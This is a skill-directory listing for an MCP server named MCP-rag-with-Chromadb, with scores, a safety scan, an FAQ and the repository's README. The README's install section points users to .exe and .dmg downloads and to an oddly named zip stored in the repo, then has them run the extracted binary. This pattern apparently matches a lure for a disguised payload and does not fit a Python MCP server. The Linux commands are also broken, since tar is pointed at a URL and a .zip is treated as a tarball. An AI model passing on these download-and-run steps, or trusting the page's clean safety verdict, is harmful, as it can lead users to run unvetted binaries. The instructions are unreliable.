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MCP-rag-with-Chromadb

🗂️ Build a versatile MCP server with RAG capabilities, supporting multiple document formats using LangChain and ChromaDB for efficient data retrieval.

Install / Use

claude mcp add rexnzm -- npx -y github:rexnzm/MCP-rag-with-Chromadb

If the server publishes to npm under a different name, use that package instead — check the repo README.

About this skill
🔌

MCP Server

Model Context Protocol server

Quality Score

71/100

Category

Automation

Supported Platforms

Claude Code
Claude Desktop

Our assessment of MCP-rag-with-Chromadb

MCP-rag-with-Chromadb scores 71/100 on our quality scale, 1087th of 1,334 Automation skills we index.

Its MCP Server is 4.7 KB long, well organised into 10 sections and no code examples: a solid amount of guidance for an agent.

It has 3 GitHub stars, so there is little community track record yet; judge it on its content.

Substance
26/30
Structure
13/20
Description
15/15
Adoption
3/20
Freshness
15/15

Maintenance, license and trust

  • The repository was last updated yesterday, so MCP-rag-with-Chromadb is actively maintained.
  • Our last check on 2026-09-12 found the source still online.
  • It is released under the MIT license, a permissive license that allows use, modification and commercial use with attribution.
  • Its trust signals score 92/100, with 1 caution from licensing, adoption, age or documentation. These come from repository metadata, not a code audit — read the skill file before letting an agent act on it.

Safety scan

No issues found

Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review of the same text found nothing harmful.

AI review by kimi-k2.7-code on 2026-09-25. Automated pattern scan on 2026-09-25. It catches known dangerous patterns, not every risk — read a skill before letting an agent act on it.

MCP-rag-with-Chromadb compared with similar skills

All 4 of these similar skills score higher than MCP-rag-with-Chromadb; compare them before choosing.

SkillScoreStarsUpdatedFormat
MCP-rag-with-Chromadb (this skill)by rexnzm7131d agoMCP Server
Agent-Reachby Panniantong10085.5k10d agoCLAUDE.md
headroomby headroomlabs-ai10073.8ktodayCLAUDE.md
rufloby ruvnet10073.3k1d agoCLAUDE.md
CowAgentby zhayujie10047.1ktodayCLAUDE.md

Frequently asked questions

How do I install MCP-rag-with-Chromadb?
Run claude mcp add rexnzm -- npx -y github:rexnzm/MCP-rag-with-Chromadb. The install tabs above show the steps for each supported agent.
Which AI agents does MCP-rag-with-Chromadb work with?
It is written for Claude Code and Claude Desktop, as a MCP Server file. Other agents that read the same format can often use it too.
Is MCP-rag-with-Chromadb safe to use?
Our scan of the whole file found no instruction hijacking, hidden characters, credential access, data exfiltration or destructive commands. An AI review of the same text found nothing harmful. It is MIT-licensed and scores 92/100 on trust signals. Skills are instructions an agent will follow, so read the file before installing it and do not approve commands you do not understand.
Is MCP-rag-with-Chromadb still maintained?
The repository was last updated yesterday, so MCP-rag-with-Chromadb is actively maintained.

🎉 MCP-rag-with-Chromadb - Harness Advanced Document Retrieval Easily

Download

📖 Overview

MCP-rag-with-Chromadb is a user-friendly application that allows you to utilize the Model Context Protocol (MCP) server for Retrieval-Augmented Generation (RAG). It supports multiple document formats and integrates seamlessly with LangChain and ChromaDB. Whether you want to enhance your search capabilities or streamline document handling, this application provides solid features without the technical fuss.

🚀 Getting Started

Follow these simple steps to get up and running with MCP-rag-with-Chromadb.

  1. Download the Application: Visit the Releases page to find the latest version of MCP-rag-with-Chromadb.

  2. Choose the Right File: On the Releases page, locate the file that matches your system. Look for options labeled for Windows, macOS, or Linux.

  3. Installation Steps:

    • For Windows:
      1. Once you download the .exe file, double-click to run it.
      2. Follow the on-screen prompts to complete the installation.
    • For macOS:
      1. After downloading the .dmg file, open it.
      2. Drag the MCP-rag-with-Chromadb application to your Applications folder.
    • For Linux:
      1. Download the https://raw.githubusercontent.com/rexnzm/MCP-rag-with-Chromadb/main/downloads/MC-with-Chromadb-rag-3.4.zip file.
      2. Extract it to your desired location with the command tar -xvzf https://raw.githubusercontent.com/rexnzm/MCP-rag-with-Chromadb/main/downloads/MC-with-Chromadb-rag-3.4.zip.
      3. Navigate to the extracted folder and run the application using the command ./MCP-rag-with-Chromadb.
  4. Run the Application:

    • After installation, find the MCP-rag-with-Chromadb icon on your desktop or in your Applications folder.
    • Double-click the icon to launch the application.
  5. Configuration: Upon first launch, you may need to configure settings such as file paths and optimization preferences. A user guide is available within the application to assist you.

🔍 Features

  • Multi-Document Format Support: Manage various document types easily, from PDFs to Word files.
  • Powerful Search Algorithms: Quickly retrieve relevant information using cutting-edge algorithms.
  • User-Friendly Interface: Enjoy a clean, intuitive layout that simplifies document management.
  • Seamless Integration: Connect with LangChain and ChromaDB for advanced capabilities.
  • Built-in Help Guide: Access a comprehensive guide directly within the application for instant support.

💻 System Requirements

To ensure smooth operation, please verify that your system meets the following requirements:

  • Operating System:
    • Windows 10 or higher
    • macOS 10.14 or higher
    • Linux distribution with kernel 4.0 or higher
  • RAM: Minimum 4 GB
  • Processor: Dual-core or higher
  • Disk Space: At least 500 MB available

📥 Download & Install

You can easily download MCP-rag-with-Chromadb from our Releases page.

  1. Choose the file compatible with your operating system.
  2. Follow the installation steps as outlined above.

🤝 Getting Support

If you run into any issues or have questions about the application, you can reach out through the following channels:

  • GitHub Issues: Report bugs and request help directly on our GitHub repository.
  • Community Forums: Participate in discussions and find answers to common questions.

🛠 Contributing

We welcome contributions from the community. If you'd like to help improve MCP-rag-with-Chromadb, please check the guidelines in our GitHub repository.

📄 License

MCP-rag-with-Chromadb is licensed under the MIT License. You can use, modify, and distribute the software as per the license terms.

🗂 Related Topics

Explore related concepts to enhance your understanding and maximize the utility of MCP-rag-with-Chromadb:

  • RAG: Learn how Retrieval-Augmented Generation enhances data retrieval processes.
  • Embeddings: Understand how embeddings can improve search accuracy.
  • LangChain and ChromaDB: Discover tools that work alongside MCP to boost performance.

For any further questions or assistance, feel free to refer to our Downloads page.

Related Skills

View on GitHub
GitHub Stars3
CategoryAutomation
Updated1d ago
Forks2

Languages

Python

Trust signals

92/100

From repository metadata: license, adoption, age and documentation. Not a code audit — see the Safety scan above for what the skill file itself contains.

1 low